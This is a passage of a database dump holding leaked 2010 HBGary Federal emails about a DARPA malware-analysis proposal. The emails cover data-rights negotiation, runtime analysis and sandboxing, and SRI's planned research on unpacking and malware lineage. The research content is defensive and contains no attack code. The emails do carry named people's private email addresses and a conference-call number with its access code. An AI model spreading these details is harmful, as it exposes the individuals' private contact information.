use for\r\ncertain super special IP that we wish to treat differently.&nbsp; (The language\r\nbelow is for SBIR, but we could get him to draft a paragraph for patented/IRAD\r\nIP.)\r\n\r\n&nbsp;\r\n\r\n&#8220;HBGary notes that sec. 7\r\nof the BAA states that: &#8220;A more favorable evaluation will be given to\r\nthose proposals that do not contain any limitations on the software and\r\ntechnical data, and associated license rights, respectively.&#8221;&nbsp; If\r\nHBGary wins an award under this competition, such an award will constitute an\r\nSBIR Phase III award.&nbsp; That is because the requirement stated in the BAA\r\n&#8220;derives from, extends, or logically concludes prior [HBGary] research\r\nand will be funded with non-SBIR funds.&#8221; See SBA SBIR Policy\r\nDirective, September 24, 2002 at sec. 4.&nbsp; Phase III award can be\r\ncompetitively awarded.&nbsp; Id. at Sec. 4(c)(2).&nbsp; The Government\r\ncannot by this Solicitation diminish HBGary&#8217;s rights.&nbsp; Id. at\r\nsec. 8(b)(4).&nbsp; That said, HBGary recognizes and respects DARPA&#8217;s\r\nneeds for flexibility with data generated under the contract.&nbsp; Therefore,\r\nHBGary proposes to provide DARPA with all of the data rights it requires\r\nto accomplish its mission under the award.&nbsp; HBGary proposes to provide the\r\nGovernment with Specially Negotiated Data Rights in data generated under\r\nthe award, in accordance with DFARS 252.227-7018(b)(5).&nbsp; HBGary will modify\r\nits SBIR rights to such data provide for both a license and agreements for\r\nnecessary use by and disclosure to entities of the cyber security community\r\nthat DARPA will designate.&nbsp; HBGary will not refuse to provide use by or\r\ndisclosure to any entity DARPA will designate.&nbsp; HBGary and DARPA will\r\nnegotiate a mutually agreeable license governing such use and\r\ndisclosure.&#8221;\r\n\r\n&nbsp;\r\n\r\nIn the DARPA work will we use DDNA Sequencing (i.e., number\r\nsequence to describe a series of traits) to describe and communicate malware?&nbsp;\r\nThis is the family jewels potentially worth hundreds of millions of\r\ndollars.&nbsp; We have to treat it differently if we are going to deliver data\r\nto the gov&#8217;t in this format.\r\n\r\n&nbsp;\r\n\r\nThoughts?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14400,'aaron_hbgary_com/14400.html'),(3632,'2010-03-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001839.M641750P3547Q3632.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Palantir Developer seats','May want to sen mark. How is the integration coming along?\r\n\r\n\r\n\r\nOn Mar 6, 2010, at 5:10 AM, Aaron Barr  wrote:\r\n\r\n> Ted,\r\n>\r\n> We have a few seat secured for the Palantir developer course, can\'t\r\n> remember if its this month or next will find out.  Do you want to\r\n> send Mark? or should we give those up to HBGary proper.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',15547,'aaron_hbgary_com/15547.html'),(3633,'2010-03-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001839.M850300P3547Q3633.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: IP and data rights','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nContinuing with my own thoughts&#8230;&#8230;&#8230;.\r\n\r\n&nbsp;\r\n\r\nGD said we can use existing\r\ncommercial products in our work much like other proposers might use IDA Pro or\r\nOracle.&nbsp; Digital DNA includes Digital DNA Sequencing whose actual method of\r\ncommunicating is patent pending and HBGary owned.&nbsp; With Responder plug-ins\r\nwe clearly deliver the plug-ins and not Responder.&nbsp; But if we deliver new\r\ntraits that use the patented DDNA method to describe this new trait data, we\r\nwould also deliver the DDNA communication method.&nbsp; The following BAA\r\nsection would apply&#8230;..\r\n\r\n7.1.2 Commercial Items (Technical Data and Computer\r\nSoftware)\r\n\r\nProposers responding to this BAA requesting a procurement\r\ncontract to be issued under the FAR/DFARS, shall identify all commercial\r\ntechnical data, and commercial computer software that may be embedded in any\r\nnoncommercial deliverables contemplated under the research effort, along with\r\nany applicable restrictions on the Government&#8217;s use of such commercial\r\ntechnical data and/or commercial computer software.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe tell the gov&#8217;t that we\r\nmay choose to deliver malware trait info in a patented, HBGary-owned\r\nformat.&nbsp; We would need special language to describe what they can and\r\ncannot do with it.&nbsp; It is on my plate to write this section or get our\r\nattorney to help me write it.&nbsp; But let me know if you have any comments.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Saturday, March 06, 2010 10:38 AM\r\nTo: \'Aaron Barr\'; \'Ted Vera\'\r\nSubject: IP and data rights\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI spoke with our attorney who is an expert on IP issues with\r\ngov&#8217;t and in particular, SBIR data rights because he helped draft the\r\nlaw.&nbsp; He acknowledged that even though the statue says the government\r\ncannot take away our SBIR data rights in a contract, they can vote with their\r\ndollars by not funding us.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThe IP call with GD opened my eyes of how we can make the\r\nbest out of &#8220;delivering&#8221; data to DARPA.&nbsp; That said, in writing\r\nthis proposal we may find certain data to be extremely sensitive and important\r\nto HBGary.&nbsp; An example would be DDNA Sequencing (patent pending and IRAD\r\nfunded) or REcon functionality that gets reused in a new scalable system (SBIR\r\nfunded).&nbsp; Below is language that the attorney provided that we can use for\r\ncertain super special IP that we wish to treat differently.&nbsp; (The language\r\nbelow is for SBIR, but we could get him to draft a paragraph for patented/IRAD\r\nIP.)\r\n\r\n&nbsp;\r\n\r\n&#8220;HBGary notes that sec. 7\r\nof the BAA states that: &#8220;A more favorable evaluation will be given to those\r\nproposals that do not contain any limitations on the software and technical\r\ndata, and associated license rights, respectively.&#8221;&nbsp; If HBGary wins\r\nan award under this competition, such an award will constitute an SBIR Phase\r\nIII award.&nbsp; That is because the requirement stated in the BAA\r\n&#8220;derives from, extends, or logically concludes prior [HBGary] research\r\nand will be funded with non-SBIR funds.&#8221; See SBA SBIR Policy\r\nDirective, September 24, 2002 at sec. 4.&nbsp; Phase III award can be\r\ncompetitively awarded.&nbsp; Id. at Sec. 4(c)(2).&nbsp; The Government\r\ncannot by this Solicitation diminish HBGary&#8217;s rights.&nbsp; Id. at\r\nsec. 8(b)(4).&nbsp; That said, HBGary recognizes and respects DARPA&#8217;s\r\nneeds for flexibility with data generated under the contract.&nbsp; Therefore,\r\nHBGary proposes to provide DARPA with all of the data rights it requires\r\nto accomplish its mission under the award.&nbsp; HBGary proposes to provide the\r\nGovernment with Specially Negotiated Data Rights in data generated under\r\nthe award, in accordance with DFARS 252.227-7018(b)(5).&nbsp; HBGary will\r\nmodify its SBIR rights to such data provide for both a license and agreements\r\nfor necessary use by and disclosure to entities of the cyber security community\r\nthat DARPA will designate.&nbsp; HBGary will not refuse to provide use by or disclosure\r\nto any entity DARPA will designate.&nbsp; HBGary and DARPA will negotiate a\r\nmutually agreeable license governing such use and disclosure.&#8221;\r\n\r\n&nbsp;\r\n\r\nIn the DARPA work will we use DDNA Sequencing (i.e., number\r\nsequence to describe a series of traits) to describe and communicate\r\nmalware?&nbsp; This is the family jewels potentially worth hundreds of millions\r\nof dollars.&nbsp; We have to treat it differently if we are going to deliver\r\ndata to the gov&#8217;t in this format.\r\n\r\n&nbsp;\r\n\r\nThoughts?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9126,'aaron_hbgary_com/9126.html'),(3634,'2010-03-06','\"Dawn Song\" <dawnsong@cs.berkeley.edu>','/aaron@hbgary.com/new/1297001840.M275367P3547Q3635.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: TA3','Aaron,\r\n  how is it going to TA3? I think Berkeley side has a lot to\r\ncontribute to TA3. I know we\'ve been having some issues with the NDA\r\non the berkeley side. As I mentioned, the Berkeley side takes a while\r\nto get such paperwork done. In the meantime, I\'ve sent Chris some text\r\nabout the technology that the Berkeley side can contribute, and\r\nsimilar text/technology  can be used for TA3. Let me know if you need\r\nanything else from me now. Thanks a lot!\r\n\r\nthanks,\r\nDawn\r\n\r\n\r\nOn Wed, Mar 3, 2010 at 6:34 AM, Aaron Barr  wrote:\r\n> Dawn,\r\n>\r\n> I want to make sure your interested in participating in TA3 and if so I would like to get in place an NDA as quickly as possible to get your approaches and work integrated.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\n\r\nthanks,\r\nDawn\r\n',13829,'aaron_hbgary_com/13829.html'),(3635,'2010-03-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001840.M552216P3547Q3636.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Use THESE bios instead','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI modified the bios for Shawn\r\nand Martin.&nbsp; Disregard what I sent earlier today.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14698,'aaron_hbgary_com/14698.html'),(3636,'2010-03-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001840.M61708P3547Q3634.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','More tech content from Martin on runtime analysis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDATA HARVESTED AT RUNTIME\r\n\r\n&nbsp;\r\n\r\nWe need to make a very strong case that runtime analysis is\r\nthe way to go.&nbsp; Here is some info to use.\r\n\r\n&nbsp;\r\n\r\nWhen we run code we harvest runtime data.&nbsp; Here is a\r\nlist of the data elements that are collected:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInstruction that executed\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nData used by the instruction\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCPU state with every instruction\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMemory changes &#8211; shows up as memory samples\r\nin REcon\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAll Windows APIs and arguments which yields\r\n\r\no&nbsp;&nbsp;\r\nRegistry key changes\r\n\r\no&nbsp;&nbsp;\r\nProcesses launched, killed, etc.\r\n\r\no&nbsp;&nbsp;\r\nFilesystem activity &#8211; read, writes, etc.\r\n\r\no&nbsp;&nbsp;\r\nNetwork activity\r\n\r\no&nbsp;&nbsp;\r\nOther?\r\n\r\n&nbsp;\r\n\r\nSANDBOX TECHNOLOGY\r\n\r\n&nbsp;\r\n\r\nI think we need to discuss the concept of Sandboxing.&nbsp;\r\nThe customer may argue that running malware is dangerous.&nbsp; REcon has all\r\nthe functionality of Flypaper which has the ability to restrict the network\r\nactivity of running software.&nbsp; It has the added advantage of making\r\nrunning programs &#8220;stick&#8221; in memory (like a fly on flypaper).&nbsp; A\r\ntypical use case is a dropper launches one or more processes and the dropper\r\nand processes exit memory and are then gone.&nbsp; Flypaper makes it so the\r\nmodules stuck in memory can be recovered during memory analysis, extracted and\r\nanalyzed.&nbsp; For more info on Flypaper see https://www.hbgary.com/products-services/flypaper/\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3790,'aaron_hbgary_com/3790.html'),(3637,'2010-03-06','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001840.M768999P3547Q3637.eml','\"Dawn Song\" <dawnsong@cs.berkeley.edu>','RE: TA3','Dawn,\r\n\r\nI did send the materials you sent me to Aaron.\r\n\r\nWe are still trying to get the NDA taken care of with Berkeley.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: dawnsong@gmail.com [mailto:dawnsong@gmail.com] On Behalf Of Dawn\r\nSong\r\nSent: Saturday, March 06, 2010 12:22 PM\r\nTo: Aaron Barr\r\nCc: Starr, Christopher H.\r\nSubject: Re: TA3\r\n\r\nAaron,\r\n  how is it going to TA3? I think Berkeley side has a lot to\r\ncontribute to TA3. I know we\'ve been having some issues with the NDA\r\non the berkeley side. As I mentioned, the Berkeley side takes a while\r\nto get such paperwork done. In the meantime, I\'ve sent Chris some text\r\nabout the technology that the Berkeley side can contribute, and\r\nsimilar text/technology  can be used for TA3. Let me know if you need\r\nanything else from me now. Thanks a lot!\r\n\r\nthanks,\r\nDawn\r\n\r\n\r\nOn Wed, Mar 3, 2010 at 6:34 AM, Aaron Barr  wrote:\r\n> Dawn,\r\n>\r\n> I want to make sure your interested in participating in TA3 and if so\r\nI would like to get in place an NDA as quickly as possible to get your\r\napproaches and work integrated.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\n\r\nthanks,\r\nDawn\r\n',10125,'aaron_hbgary_com/10125.html'),(3638,'2010-03-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001840.M966809P3547Q3638.eml','porras@csl.sri.com,porras@csl.sri.com','TA3','Phil,\r\n\r\nLet me know if you have problems accessing the files.  Please review and add content where it is missing.  As I mentioned our intent is to use memory/dynamic analysis as much as possible, but two things are needed, maybe more based on your suggestions.\r\n\r\n1.  De-obfuscation and removal of anti-analysis techniques.\r\n2. External static/binary analysis for quick analysis for correlation.\r\n\r\nSupport to collection\r\n\r\nAny other areas you can think of?\r\n\r\nAfter I get some input from you I will turn around a SOW\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6680,'aaron_hbgary_com/6680.html'),(3639,'2010-03-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001841.M161706P3547Q3639.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','SOW','Chris,\r\n\r\nI am finishing up formal SOWs for each of the subs for TA3 and looking through the SRI statement of work you have tasks listed for TA3, not sure I understand.  There are tasks listed there I wouldn\'t have them do.  Plus shouldn\'t the SOW come from the prime?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16663,'aaron_hbgary_com/16663.html'),(3640,'2010-03-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001841.M499979P3547Q3640.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: SOW','I am.\r\n\r\nOn Mar 6, 2010, at 5:45 PM, Starr, Christopher H. wrote:\r\n\r\n> Jason, Aaron, are you free to dial into a quick discussion?\r\n> \r\n> 866-765-5631, code 5057292#\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, March 06, 2010 5:41 PM\r\n> To: Starr, Christopher H.\r\n> Subject: SOW\r\n> \r\n> Chris,\r\n> \r\n> I am finishing up formal SOWs for each of the subs for TA3 and looking\r\n> through the SRI statement of work you have tasks listed for TA3, not\r\n> sure I understand.  There are tasks listed there I wouldn\'t have them\r\n> do.  Plus shouldn\'t the SOW come from the prime?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6994,'aaron_hbgary_com/6994.html'),(3641,'2010-03-06','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001841.M912488P3547Q3641.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','FW: Details from SRI - tech area #1','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 4:53 PM\r\nTo: \'Phil Porras\'; Vinod Yegneswaran; Hassen Saidi; \'Aaron Barr\'; Adam\r\nFraser; cody.bunkin@pikewerks.com\r\nCc: Upchurch, Jason R.; Harlow, Douglas M.; Rodriguez, Harold\r\nSubject: FW: Details from SRI - tech area #1\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Upchurch, Jason R. \r\nSent: Friday, March 05, 2010 1:59 PM\r\nTo: Starr, Christopher H.; Harlow, Douglas M.; Rodriguez, Harold; \'Vinod\r\nYegneswaran\'; \'Hassen Saidi\'; Vela, Ryan; porras@csl.sri.com\r\nSubject: RE: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 11:17 AM\r\nTo: Upchurch, Jason R.; Harlow, Douglas M.; Rodriguez, Harold; \'Vinod\r\nYegneswaran\'; Hassen Saidi\r\nSubject: FW: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 10:40 AM\r\nTo: Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela,\r\nRyan; Larson, Cindy S.\r\nCc: Wilson, Ben N.; Kipper, Gregory A.\r\nSubject: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe following is from SRI (see below and attached SOW\r\nlanguage):\r\n\r\n&nbsp;\r\n\r\n1.1.1&nbsp; Task 1\r\n\r\n&nbsp;\r\n\r\nSRI shall develop improved and multi-perspective malware\r\ncapture capabilities including next generation honeynets, and capture\r\ncapabilities for client-side malware, email-borne malware, and malware embedded\r\nin P2P networks. The goal of this research is to improve the diversity of the\r\nmalware binary collection sources.\r\n\r\n&nbsp;\r\n\r\nYear 1 (months 0- 6) prototype malware collection system\r\n\r\nYear 1 (months 6-12) refine development, delivery of system and\r\ncollected malware\r\n\r\nYear 2-EOP (Months 3, 6, 9, 12 ) Deliver collected malware\r\n\r\nYear 2 &#8211;EOP (Months 3, 6, 9, 12) Maintenance and report of\r\nmaintenance in period.\r\n\r\n&nbsp;\r\n\r\n1.1.2 Task 2\r\n\r\n&nbsp;\r\n\r\nSRI shall develop novel and scalable automated unpacking\r\ntechniques for malware including dealing with multiply-packed malware and\r\ndynamic code not mapped to process memory. The goal of this research is to\r\ncover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nYear 1 research methods for unpacking/deobfusction, delivery of\r\nresearch paper at end of period.\r\n\r\nYear 1, concept prototype \r\n\r\nYear 2 &#8211; 3, refine de-obfuscation research and develop a\r\nprototype to cover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.3&nbsp; Task 3\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research in the area of executable reconstruction\r\nfrom disk based malware or malware memory extractions.&nbsp; The goal of the\r\nresearch is to return code extracted from memory or code that has been\r\nobfuscated into an un-obscured executable file.&nbsp; This work includes but is\r\nnot limited to, extracting executables from process or full memory dumps,\r\nde-obfuscating packed malware, automatically rebuilding import tables,\r\nautomatically locating and restoring the original entry point, rebuilding\r\nmalicious dll code to stand alone executables, and removing obfuscation and\r\nanti-analysis techniques such as chunking and suicide logic. The longer term\r\nobjective of this work is to enable the statically-informed binary execution or\r\npath exploration.\r\n\r\n&nbsp;\r\n\r\nYear 1, paper and concept prototype as deliverable\r\n\r\nYear 2, refinement of research, paper and prototype deliverable\r\n\r\nYear 3 &#8211; EOP Path exploration , year 3 paper and concept\r\nprototype, year 4 paper and prototype\r\n\r\n&nbsp;\r\n\r\n1.1.4&nbsp; Task 4\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research support in the use of\r\nde-compilation as a litmus test to determine if machine code has been\r\nobfuscated.&nbsp; SRI shall coordinate with other team members involved in the\r\ncode extraction segment of the project to apply this research to specific\r\nobfuscation problems encountered in code extraction.\r\n\r\n&nbsp;\r\n\r\nYear 1 research viability, paper as deliverable\r\n\r\nYear 2, IDA or other tool plug-in prototype\r\n\r\nYear 3, stand alone prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.5 Task 5\r\n\r\n&nbsp;\r\n\r\nSRI shall develop a combination of Bayesian and\r\nprobabilistic algorithms and algorithms from computational biology to create\r\nlineage trees to identify the provenance of digital artifacts and improve\r\nunderstanding of software evolution. The goal of this research is to enable the\r\ninformed and automated malware forensic clustering.\r\n\r\n&nbsp;\r\n\r\nYear 1, study existing\r\nalgorithms for viability in this information space, deliver paper\r\n\r\nYear 2, deliver prototype POC\r\n\r\n\r\nYear 3, refinement and\r\nprototype.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.6&nbsp; Task 6\r\n\r\n&nbsp;\r\n\r\nSRI shall develop techniques based on computational\r\nbiology gene sequence alignment algorithms involving the use of\r\nerror-correcting codes, infinite sites evolution, and Markov models of mutation\r\nto automatically deobfuscate code independent of what obfuscation techniques\r\nwere applied to the code.\r\n\r\n&nbsp;\r\n\r\nYear 1, evaluate viability of algorithms used in computational biology\r\nfor use in this information space, deliver paper\r\n\r\nYear 2, develop concept prototype system\r\n\r\nYear 3, develop prototype system\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.7 Task 7\r\n\r\n&nbsp;\r\n\r\nSRI shall develop taxonomy for data leakage based on\r\ncategorization of system egress points, classification of sensitive data\r\nsources and functional elements in malware to guide inferences about high-level\r\nmalware intent. The goal of this research is to enable behavioral malware\r\nclassification based on provenance taxonomy and tracking access patterns for\r\nhost applications. SRI will also combine taint analysis and provinence analysis\r\nto improve and guide multipath exploration.\r\n\r\n&nbsp;\r\n\r\nYear 1, providence prototype on Linux system, deliver concept\r\nprototype\r\n\r\nYear 2, providence analysis migration to MS systems, deliver\r\nconcept prototype\r\n\r\nYear 3, integrate providence analysis and UCB taint analysis,\r\ndeliver concept prototype\r\n\r\nYear 4, Integrate multipath exploration research into providence\r\nand taint research, deliver concept prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.8&nbsp;&nbsp; Task 8\r\n\r\n&nbsp;\r\n\r\nSRI shall provide support for associated meetings,\r\nreporting, demonstrations and presentations.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSRI&nbsp; Research Thrust Contributions\r\n\r\n&nbsp;\r\n\r\n1.&nbsp; Malware Comparison and Lineage Trees\r\n\r\n&nbsp;\r\n\r\nHorizontal Malware Analysis is an analysis technique\r\nand a tool SRI\r\n\r\ndeveloped to enable automated static analysis of a\r\nlarge corpus of\r\n\r\nmalware in a scalable way.&nbsp; A core capability\r\nof the horizontal\r\n\r\nmalware analysis tool is its ability to produce a\r\ncorrespondence\r\n\r\nbetween unpacked disassemblies of different pieces\r\nof malware, which\r\n\r\nwe refer to as a malcode mapping.&nbsp; Our\r\nalgorithm consists of three\r\n\r\nsteps: \r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; Step 1 - Multi-level hashing: A variety\r\nof features have been\r\n\r\nconsidered in the literature for comparing malcodes.\r\nOur approach\r\n\r\nincorporates five features, two of which are at the\r\nsubroutine level\r\n\r\nand three others are the basic block level.&nbsp; We\r\nconsider hashes of\r\n\r\nsubroutine prototoypes, subroutine instruction\r\nclasses,\r\n\r\ninstructions,complete blocks without offsets, and\r\ncomplete blocks.&nbsp; *\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 2 - Mapping: Here we produce\r\na correspondence between the\r\n\r\nbasic blocks of two different malware code sequences\r\nfor which\r\n\r\nthe multi-level hashes have already been\r\ncomputed.&nbsp; We formulate\r\n\r\nmapping as a minimization problem. The goal is to\r\nproduce a\r\n\r\nmapping between the basic blocks that minimizes the\r\ntotal cost.\r\n\r\nThere is one obvious constraint: two basic blocks\r\ncan be matched\r\n\r\nto each other only if the subroutines they are in\r\nare also\r\n\r\nmatched to each other.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 3 - Alignment: The goal of\r\nalignment is to linearize the\r\n\r\nmapping and isolate subroutines that exhibit\r\ndifferences.&nbsp; We\r\n\r\nalso provide a visualization system that color codes\r\nbasic\r\n\r\nblocks and presents the data in a visually\r\ndescriptive way to\r\n\r\nthe human analyst.\r\n\r\n&nbsp;\r\n\r\nThe mapping process above yeilds a way to assign a\r\nnumerical matching\r\n\r\nscore to any pair of malware disassemblies, i.e.,\r\nthe cost of the\r\n\r\noptimal matching produced by the mapping.&nbsp;\r\nHaving determined distances\r\n\r\nbetween any pair of a set of artifacts, we propose\r\nto use one of\r\n\r\nseveral phylogenetic algorithms which can be applied\r\nto construct a\r\n\r\nmalware lineage tree relating the artifacts in the\r\nset, \r\n\r\nwhich can help identify provenance of digital\r\nartifacts and\r\n\r\nimprove understanding of malware\r\nevolution.&nbsp;&nbsp; Briefly, these algorithms\r\n\r\nencompass\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Distance-based measurement:\r\nThis uses simple distance measures, as \r\n\r\ndetermined above,&nbsp; to build trees by, e.g.\r\nneighbor joining.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum likelihood\r\nmeasurement: This algorithm builds trees that \r\n\r\nmaximize the probability of the data.&nbsp; It is\r\nespecially suited to be \r\n\r\ncombined with Markov models.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum parsimony\r\nmeasurement: This algorithm is similar to maximum \r\n\r\nlikelihood but instead seeks to minimize the total\r\nnumber of changes in\r\n\r\nthe tree.\r\n\r\n&nbsp;\r\n\r\nAs we can expect malware to come from different\r\nsources, we would need\r\n\r\nseveral disjoint lineage trees to represent the\r\nentire data set.&nbsp; For\r\n\r\na given, substantial set of artifacts, we expect the\r\nresult to be a\r\n\r\nset of disjoint trees which, in total, represent the\r\nentire set.&nbsp; We\r\n\r\nintend to use clustering techniques to partition the\r\noverall set of\r\n\r\nartifacts into disjoint subsets, where each cluster\r\nwill have an\r\n\r\nassociated lineage tree.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Horizontal Malware Analysis;\r\nPhylogentic algorithms \r\n\r\nfor malware lineage tree consturction\r\n\r\n&nbsp;\r\n\r\nDeliverables: \r\n\r\n- HMA Comparison System\r\n\r\n- Quantitative comparison study of lineage trees\r\nacross multiple algorithms\r\n\r\n- Delivery of a software component integrating\r\nlineage trees with HMA\r\n\r\n&nbsp;\r\n\r\n2. Malware Unpacking and Call Site Resolution\r\n\r\n&nbsp;\r\n\r\nSRI will use its Eureka unpacking technology to\r\nautomatically recover\r\n\r\nunpacked executable images from packed\r\nbinaries.&nbsp; Eureka implements a\r\n\r\ncoarse-grained execution tracking strategy that\r\nallows for efficient\r\n\r\nmonitoring of malware execution progress.&nbsp; A\r\nmemory snapshot is\r\n\r\ntriggered by its hypothesis testing algorithm when\r\nseveral criteria\r\n\r\nare satisfied. These criteria includes the number of\r\nsystem calls,\r\n\r\nprocess execution time, a bigram count indicating a\r\nsharp increase of\r\n\r\nthe code to data ratio, or specific system calls\r\nsuch as process fork\r\n\r\nor terminate process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nWe will develop binary evaluation metrics with the\r\npurpose of\r\n\r\nassessing the quality of the unpacked code and\r\nrerunning the Eureka\r\n\r\nunpacker if necessary to obtain a more complete\r\nunpacked code. SRI\r\n\r\nwill implement its speculative API resolution\r\nalgorithm to\r\n\r\nautomatically resolve call sites.&nbsp; SRI will\r\ndeliver the post unpacking\r\n\r\nanalysis capability as an add on to the Eureka\r\nframework to enable\r\n\r\nfurther analysis and classification of malware.\r\n\r\n&nbsp;\r\n\r\nWe also plan on developing additional criteria that\r\ndetermine the optimal\r\n\r\nmoment for taking a memory snapshot of the running\r\nprocess and\r\n\r\nrecovering the original entry point.&nbsp; We will\r\nalso investigate novel\r\n\r\nways of hiding Eureka from being detected by the\r\nrunning binary to\r\n\r\navoid triggering suicide logic.&nbsp; We will also\r\nexplore\r\n\r\nsnapshot-stitching techinques for dealing with\r\nmulti-stage packers and\r\n\r\nblock encryption.&nbsp; SRI will deliver new\r\nunpacking technology that will\r\n\r\ncover a large number of existing packing technology.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Application of hypthesis testing\r\nand bigram analysis,\r\n\r\nspeculative api resolution, snapshot 